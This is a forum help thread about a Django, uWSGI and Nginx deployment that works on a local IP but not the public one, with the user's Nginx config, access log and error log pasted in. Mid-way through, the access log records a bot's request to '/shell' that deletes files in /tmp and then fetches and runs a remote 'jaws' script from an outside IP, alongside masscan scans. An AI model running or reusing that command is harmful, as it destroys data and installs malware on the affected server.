Doesnt work on public IP - uWSGI, Nginx

Hi.
I make a Ubuntu server wth uWSGI, Nginx and ofc Django.
But i when i connect to local IP everything works fine, but on public IP works only Nginx, without Django.
Eaven more - i dont know wher to search for errors. On log uWSGI i have only:

“worker 1 killed successfully (pid: 2855)
Respawned uWSGI worker 1 (new pid: 2856)
emperor-i-am-ready-to-accept/write(): Bad file descriptor [core/uwsgi.c line 3578]
Sun Mar 19 19:53:15 2023 - lost communication with the Emperor, goodbye…
Sun Mar 19 19:53:15 2023 - graceful shutdown triggered…
Gracefully killing worker 1 (pid: 2856)…”

Please help :frowning:

Please post your uwsgi configuration file and the nginx settings for that application. Also please describe how you’re running uwsgi - systemd? some other process manager? Please provide the details for that as well.

Regarding errors also check your nginx logs as well as syslog.

At the end i make a emperor uwsgi and it starts from systemctl
I can post only 2 links so, theres all links to files here
http://pastie.org/p/59saSEH2O1cMORzzcYvkmV

Please copy/past the text of those files here. Surround each file between lines of three backtick - ` characters. (This means you’ll have a line of ```, then the file contents, then another line of ```.)

Since you specified systemd, please include the service file as well.

nginx/sites-available/my_project.conf

upstream django {
	server unix:///home/fornakter/django/my_project/my_project.sock;
	}

server {
	listen	80;
	# server_name 192.168.1.1;
	server_name 77.255.52.137;
	charset	utf-8;

	client_max_body_size 75M;

	location /media {
		alias /home/fornakter/django/my_project/media;
	}
	location /static {
		alias /home/fornakter/django/my_project/static;
	}
	
	location / {
		uwsgi_pass django;
		include /home/fornakter/django/uwsgi_params;
	}
}

var/logs/nginx

192.168.1.6 - - [19/Mar/2023:10:43:09 +0000] "GET / HTTP/1.1" 502 166 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:10:44:04 +0000] "GET / HTTP/1.1" 502 166 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:10:44:40 +0000] "GET / HTTP/1.1" 502 166 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:10:44:41 +0000] "GET / HTTP/1.1" 502 166 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:10:44:41 +0000] "GET / HTTP/1.1" 502 166 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:10:44:42 +0000] "GET / HTTP/1.1" 502 166 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:10:44:42 +0000] "GET / HTTP/1.1" 502 166 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:10:44:42 +0000] "GET / HTTP/1.1" 502 166 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:10:44:59 +0000] "GET / HTTP/1.1" 502 166 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:10:45:26 +0000] "GET / HTTP/1.1" 200 3669 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:10:45:26 +0000] "GET /static/admin/css/fonts.css HTTP/1.1" 200 423 "http://192.168.1.1/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:10:45:26 +0000] "GET /static/admin/fonts/Roboto-Bold-webfont.woff HTTP/1.1" 200 86184 "http://192.168.1.1/static/admin/css/fonts.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:10:45:26 +0000] "GET /static/admin/fonts/Roboto-Regular-webfont.woff HTTP/1.1" 200 85876 "http://192.168.1.1/static/admin/css/fonts.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:10:45:26 +0000] "GET /static/admin/fonts/Roboto-Light-webfont.woff HTTP/1.1" 200 85692 "http://192.168.1.1/static/admin/css/fonts.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
94.102.51.9 - - [19/Mar/2023:11:10:17 +0000] "GET / HTTP/1.0" 200 612 "-" "masscan/1.3 (https://github.com/robertdavidgraham/masscan)"
94.102.51.9 - - [19/Mar/2023:11:10:19 +0000] "GET / HTTP/1.0" 200 612 "-" "masscan/1.3 (https://github.com/robertdavidgraham/masscan)"
198.98.58.152 - - [19/Mar/2023:11:18:08 +0000] "GET / HTTP/1.1" 200 396 "-" "Linux Gnu (cow)"
185.224.128.250 - - [19/Mar/2023:11:22:11 +0000] "GET / HTTP/1.1" 200 612 "-" "libwww-perl/6.67"
192.168.1.6 - - [19/Mar/2023:12:36:00 +0000] "GET / HTTP/1.1" 502 166 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:12:36:48 +0000] "GET / HTTP/1.1" 500 32 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:12:37:56 +0000] "GET / HTTP/1.1" 200 3669 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:12:37:56 +0000] "GET /static/admin/css/fonts.css HTTP/1.1" 304 0 "http://192.168.1.1/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:12:37:57 +0000] "GET /static/admin/fonts/Roboto-Bold-webfont.woff HTTP/1.1" 304 0 "http://192.168.1.1/static/admin/css/fonts.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:12:37:57 +0000] "GET /static/admin/fonts/Roboto-Regular-webfont.woff HTTP/1.1" 304 0 "http://192.168.1.1/static/admin/css/fonts.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:12:37:57 +0000] "GET /static/admin/fonts/Roboto-Light-webfont.woff HTTP/1.1" 304 0 "http://192.168.1.1/static/admin/css/fonts.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:12:39:51 +0000] "GET / HTTP/1.1" 200 3669 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
94.102.51.9 - - [19/Mar/2023:13:14:43 +0000] "GET / HTTP/1.0" 200 612 "-" "masscan/1.3 (https://github.com/robertdavidgraham/masscan)"
192.168.1.6 - - [19/Mar/2023:13:25:08 +0000] "GET / HTTP/1.1" 502 166 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:13:26:23 +0000] "GET / HTTP/1.1" 502 166 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:13:27:08 +0000] "GET / HTTP/1.1" 502 166 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:13:30:15 +0000] "GET / HTTP/1.1" 502 166 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:13:31:02 +0000] "GET / HTTP/1.1" 502 166 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:13:31:19 +0000] "GET / HTTP/1.1" 200 3669 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:13:31:19 +0000] "GET /static/admin/css/fonts.css HTTP/1.1" 304 0 "http://192.168.1.1/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:13:31:19 +0000] "GET /static/admin/fonts/Roboto-Bold-webfont.woff HTTP/1.1" 304 0 "http://192.168.1.1/static/admin/css/fonts.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:13:31:19 +0000] "GET /static/admin/fonts/Roboto-Regular-webfont.woff HTTP/1.1" 304 0 "http://192.168.1.1/static/admin/css/fonts.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:13:31:19 +0000] "GET /static/admin/fonts/Roboto-Light-webfont.woff HTTP/1.1" 304 0 "http://192.168.1.1/static/admin/css/fonts.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:13:32:24 +0000] "GET / HTTP/1.1" 502 166 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:13:33:25 +0000] "GET / HTTP/1.1" 200 3669 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:13:37:55 +0000] "GET / HTTP/1.1" 200 3669 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:13:43:34 +0000] "GET / HTTP/1.1" 502 166 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:13:47:27 +0000] "GET / HTTP/1.1" 502 166 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:13:48:15 +0000] "GET / HTTP/1.1" 502 166 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:13:50:19 +0000] "GET / HTTP/1.1" 200 3669 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:13:51:21 +0000] "GET / HTTP/1.1" 200 3669 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:13:51:45 +0000] "GET / HTTP/1.1" 502 166 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:13:52:03 +0000] "GET / HTTP/1.1" 200 3669 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:13:57:30 +0000] "GET / HTTP/1.1" 200 3669 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:13:57:30 +0000] "GET /static/admin/css/fonts.css HTTP/1.1" 304 0 "http://192.168.1.1/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:13:57:31 +0000] "GET /static/admin/fonts/Roboto-Regular-webfont.woff HTTP/1.1" 304 0 "http://192.168.1.1/static/admin/css/fonts.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:13:57:31 +0000] "GET /static/admin/fonts/Roboto-Light-webfont.woff HTTP/1.1" 304 0 "http://192.168.1.1/static/admin/css/fonts.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:13:57:31 +0000] "GET /static/admin/fonts/Roboto-Bold-webfont.woff HTTP/1.1" 304 0 "http://192.168.1.1/static/admin/css/fonts.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:17:45:05 +0000] "GET / HTTP/1.1" 200 3669 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:17:45:05 +0000] "GET /static/admin/css/fonts.css HTTP/1.1" 200 423 "http://192.168.1.1/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:17:45:06 +0000] "GET /favicon.ico HTTP/1.1" 404 1022 "http://192.168.1.1/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
77.255.52.137 - - [19/Mar/2023:18:16:20 +0000] "GET / HTTP/1.1" 200 396 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
77.255.52.137 - - [19/Mar/2023:18:16:22 +0000] "GET /favicon.ico HTTP/1.1" 404 134 "http://77.255.52.137/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:18:16:37 +0000] "GET / HTTP/1.1" 200 3669 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:18:16:38 +0000] "GET /static/admin/fonts/Roboto-Light-webfont.woff HTTP/1.1" 304 0 "http://192.168.1.1/static/admin/css/fonts.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:18:16:38 +0000] "GET /static/admin/fonts/Roboto-Bold-webfont.woff HTTP/1.1" 304 0 "http://192.168.1.1/static/admin/css/fonts.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:18:16:38 +0000] "GET /static/admin/fonts/Roboto-Regular-webfont.woff HTTP/1.1" 304 0 "http://192.168.1.1/static/admin/css/fonts.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
77.255.52.137 - - [19/Mar/2023:18:19:44 +0000] "GET / HTTP/1.1" 304 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:18:19:46 +0000] "GET / HTTP/1.1" 200 3669 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:18:19:46 +0000] "GET /favicon.ico HTTP/1.1" 499 0 "http://192.168.1.1/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:18:20:30 +0000] "GET / HTTP/1.1" 200 3669 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
77.255.52.137 - - [19/Mar/2023:18:20:32 +0000] "GET / HTTP/1.1" 304 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:18:23:20 +0000] "GET / HTTP/1.1" 200 3669 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:18:23:37 +0000] "GET / HTTP/1.1" 200 3669 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
77.255.52.137 - - [19/Mar/2023:18:27:23 +0000] "GET / HTTP/1.1" 304 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:18:27:24 +0000] "GET / HTTP/1.1" 200 3669 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:18:27:25 +0000] "GET /favicon.ico HTTP/1.1" 499 0 "http://192.168.1.1/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
77.255.52.137 - - [19/Mar/2023:18:27:53 +0000] "GET / HTTP/1.1" 200 396 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Mobile/15E148 Safari/604.1 OPT/3.5.4"
77.255.52.137 - - [19/Mar/2023:18:27:53 +0000] "GET /favicon.ico HTTP/1.1" 404 134 "-" "Opera/5 CFNetwork/1404.0.5 Darwin/22.3.0"
77.255.52.137 - - [19/Mar/2023:18:27:54 +0000] "GET /favicon.ico HTTP/1.1" 404 134 "-" "Opera/5 CFNetwork/1404.0.5 Darwin/22.3.0"
77.255.52.137 - - [19/Mar/2023:18:27:54 +0000] "GET /favicon.ico HTTP/1.1" 404 134 "-" "Opera/5 CFNetwork/1404.0.5 Darwin/22.3.0"
77.255.52.137 - - [19/Mar/2023:18:27:54 +0000] "GET /favicon.ico HTTP/1.1" 404 134 "-" "Opera/5 CFNetwork/1404.0.5 Darwin/22.3.0"
193.32.162.159 - - [19/Mar/2023:18:33:04 +0000] "GET / HTTP/1.1" 200 396 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46"
193.32.162.159 - - [19/Mar/2023:18:33:14 +0000] "GET /dispatch.asp HTTP/1.1" 404 197 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46"
192.168.1.6 - - [19/Mar/2023:18:33:50 +0000] "GET / HTTP/1.1" 200 3669 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:18:33:51 +0000] "GET /favicon.ico HTTP/1.1" 404 1022 "http://192.168.1.1/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
77.255.52.137 - - [19/Mar/2023:18:33:52 +0000] "GET / HTTP/1.1" 304 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
187.121.235.239 - - [19/Mar/2023:18:34:41 +0000] "GET /shell?cd+/tmp;rm+-rf+*;wget+45.81.243.34/jaws;sh+/tmp/jaws HTTP/1.1" 404 162 "-" "Hello, world"
77.255.52.137 - - [19/Mar/2023:18:42:54 +0000] "GET / HTTP/1.1" 304 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
77.255.52.137 - - [19/Mar/2023:18:42:59 +0000] "GET / HTTP/1.1" 304 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:18:43:01 +0000] "GET / HTTP/1.1" 200 3669 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:18:43:01 +0000] "GET /static/admin/css/fonts.css HTTP/1.1" 200 423 "http://192.168.1.1/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:18:43:01 +0000] "GET /favicon.ico HTTP/1.1" 404 1022 "http://192.168.1.1/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
77.255.52.137 - - [19/Mar/2023:18:58:16 +0000] "GET / HTTP/1.1" 304 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:18:58:18 +0000] "GET / HTTP/1.1" 200 3669 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:18:58:18 +0000] "GET /favicon.ico HTTP/1.1" 499 0 "http://192.168.1.1/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
140.99.219.26 - - [19/Mar/2023:19:12:42 +0000] "GET http://azenv.net/ HTTP/1.1" 200 396 "-" "Go-http-client/1.1"
45.128.232.112 - - [19/Mar/2023:19:38:51 +0000] "GET / HTTP/1.1" 200 396 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0"
192.168.1.6 - - [19/Mar/2023:19:44:53 +0000] "GET / HTTP/1.1" 200 3669 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:19:44:53 +0000] "GET /static/admin/css/fonts.css HTTP/1.1" 200 423 "http://192.168.1.1/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:19:44:53 +0000] "GET /favicon.ico HTTP/1.1" 499 0 "http://192.168.1.1/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
77.255.52.137 - - [19/Mar/2023:19:44:55 +0000] "GET / HTTP/1.1" 200 396 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
77.255.52.137 - - [19/Mar/2023:19:44:55 +0000] "GET /favicon.ico HTTP/1.1" 404 134 "http://77.255.52.137/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
77.255.52.137 - - [19/Mar/2023:19:46:31 +0000] "GET / HTTP/1.1" 200 396 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
77.255.52.137 - - [19/Mar/2023:19:46:31 +0000] "GET /favicon.ico HTTP/1.1" 404 134 "http://77.255.52.137/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:19:46:32 +0000] "GET / HTTP/1.1" 200 3669 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:19:46:33 +0000] "GET /favicon.ico HTTP/1.1" 499 0 "http://192.168.1.1/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:19:48:40 +0000] "GET / HTTP/1.1" 200 3669 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:19:48:40 +0000] "GET /favicon.ico HTTP/1.1" 499 0 "http://192.168.1.1/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
77.255.52.137 - - [19/Mar/2023:19:48:42 +0000] "GET / HTTP/1.1" 304 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
192.168.1.6 - - [19/Mar/2023:19:50:04 +0000] "GET / HTTP/1.1" 200 3669 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"

error log

2023/03/19 08:45:08 [notice] 1570#1570: using inherited sockets from "6;7;"
2023/03/19 09:29:15 [emerg] 1939#1939: invalid number of arguments in "uwsgi_param" directive in /home/fornakter/django/uwsgi_params:3
2023/03/19 09:31:17 [emerg] 1978#1978: invalid number of arguments in "uwsgi_param" directive in /home/fornakter/django/uwsgi_params:3
2023/03/19 09:34:30 [emerg] 2021#2021: invalid number of arguments in "uwsgi_param" directive in /home/fornakter/django/uwsgi_params:3
2023/03/19 09:52:55 [emerg] 764#764: invalid number of arguments in "uwsgi_param" directive in /home/fornakter/django/uwsgi_params:3
2023/03/19 09:55:51 [crit] 1194#1194: *1 connect() to unix:///home/fornakter/django/my_project.sock failed (13: Permission denied) while connecting to upstream, client: 192.168.1.6, server: 192.168.1.1, request: "GET / HTTP/1.1", upstream: "uwsgi://unix:///home/fornakter/django/my_project.sock:", host: "192.168.1.1"
2023/03/19 09:57:53 [error] 1193#1193: *4 open() "/home/fornakter/django/media/media.png" failed (13: Permission denied), client: 192.168.1.6, server: 192.168.1.1, request: "GET /media/media.png HTTP/1.1", host: "192.168.1.1"
2023/03/19 09:59:15 [error] 1193#1193: *5 open() "/home/fornakter/django/media/ok.png" failed (13: Permission denied), client: 192.168.1.6, server: 192.168.1.1, request: "GET /media/ok.png HTTP/1.1", host: "192.168.1.1"
2023/03/19 10:02:49 [error] 10141#10141: *1 open() "/home/fornakter/django/media/ok.png" failed (2: No such file or directory), client: 192.168.1.6, server: 192.168.1.1, request: "GET /media/ok.png HTTP/1.1", host: "192.168.1.1"
2023/03/19 10:05:33 [error] 10141#10141: *2 open() "/home/fornakter/django/media/media.png" failed (2: No such file or directory), client: 192.168.1.6, server: 192.168.1.1, request: "GET /media/media.png HTTP/1.1", host: "192.168.1.1"
2023/03/19 10:05:45 [error] 10214#10214: *1 open() "/home/fornakter/django/media/media.png" failed (2: No such file or directory), client: 192.168.1.6, server: 192.168.1.1, request: "GET /media/media.png HTTP/1.1", host: "192.168.1.1"
2023/03/19 10:06:12 [error] 10214#10214: *1 open() "/home/fornakter/django/media" failed (2: No such file or directory), client: 192.168.1.6, server: 192.168.1.1, request: "GET /media HTTP/1.1", host: "192.168.1.1"
2023/03/19 10:06:17 [error] 10214#10214: *1 "/home/fornakter/django/media/index.html" is not found (2: No such file or directory), client: 192.168.1.6, server: 192.168.1.1, request: "GET /media/ HTTP/1.1", host: "192.168.1.1"
2023/03/19 10:07:40 [error] 10261#10261: *1 open() "/home/fornakter/django/media/media.png" failed (2: No such file or directory), client: 192.168.1.6, server: 192.168.1.1, request: "GET /media/media.png HTTP/1.1", host: "192.168.1.1"
2023/03/19 10:34:57 [error] 10292#10292: *3 connect() to unix:///home/fornakter/django/my_project.sock failed (111: Unknown error) while connecting to upstream, client: 192.168.1.6, server: 192.168.1.1, request: "GET / HTTP/1.1", upstream: "uwsgi://unix:///home/fornakter/django/my_project.sock:", host: "192.168.1.1"
2023/03/19 10:36:01 [error] 10292#10292: *3 connect() to unix:///home/fornakter/django/my_project.sock failed (111: Unknown error) while connecting to upstream, client: 192.168.1.6, server: 192.168.1.1, request: "GET / HTTP/1.1", upstream: "uwsgi://unix:///home/fornakter/django/my_project.sock:", host: "192.168.1.1"
2023/03/19 10:36:33 [error] 10292#10292: *3 connect() to unix:///home/fornakter/django/my_project.sock failed (111: Unknown error) while connecting to upstream, client: 192.168.1.6, server: 192.168.1.1, request: "GET / HTTP/1.1", upstream: "uwsgi://unix:///home/fornakter/django/my_project.sock:", host: "192.168.1.1"
2023/03/19 10:40:04 [error] 10292#10292: *7 connect() to unix:///home/fornakter/django/my_project.sock failed (111: Unknown error) while connecting to upstream, client: 192.168.1.6, server: 192.168.1.1, request: "GET / HTTP/1.1", upstream: "uwsgi://unix:///home/fornakter/django/my_project.sock:", host: "192.168.1.1"
2023/03/19 10:40:04 [error] 10292#10292: *7 connect() to unix:///home/fornakter/django/my_project.sock failed (111: Unknown error) while connecting to upstream, client: 192.168.1.6, server: 192.168.1.1, request: "GET /favicon.ico HTTP/1.1", upstream: "uwsgi://unix:///home/fornakter/django/my_project.sock:", host: "192.168.1.1", referrer: "http://192.168.1.1/"
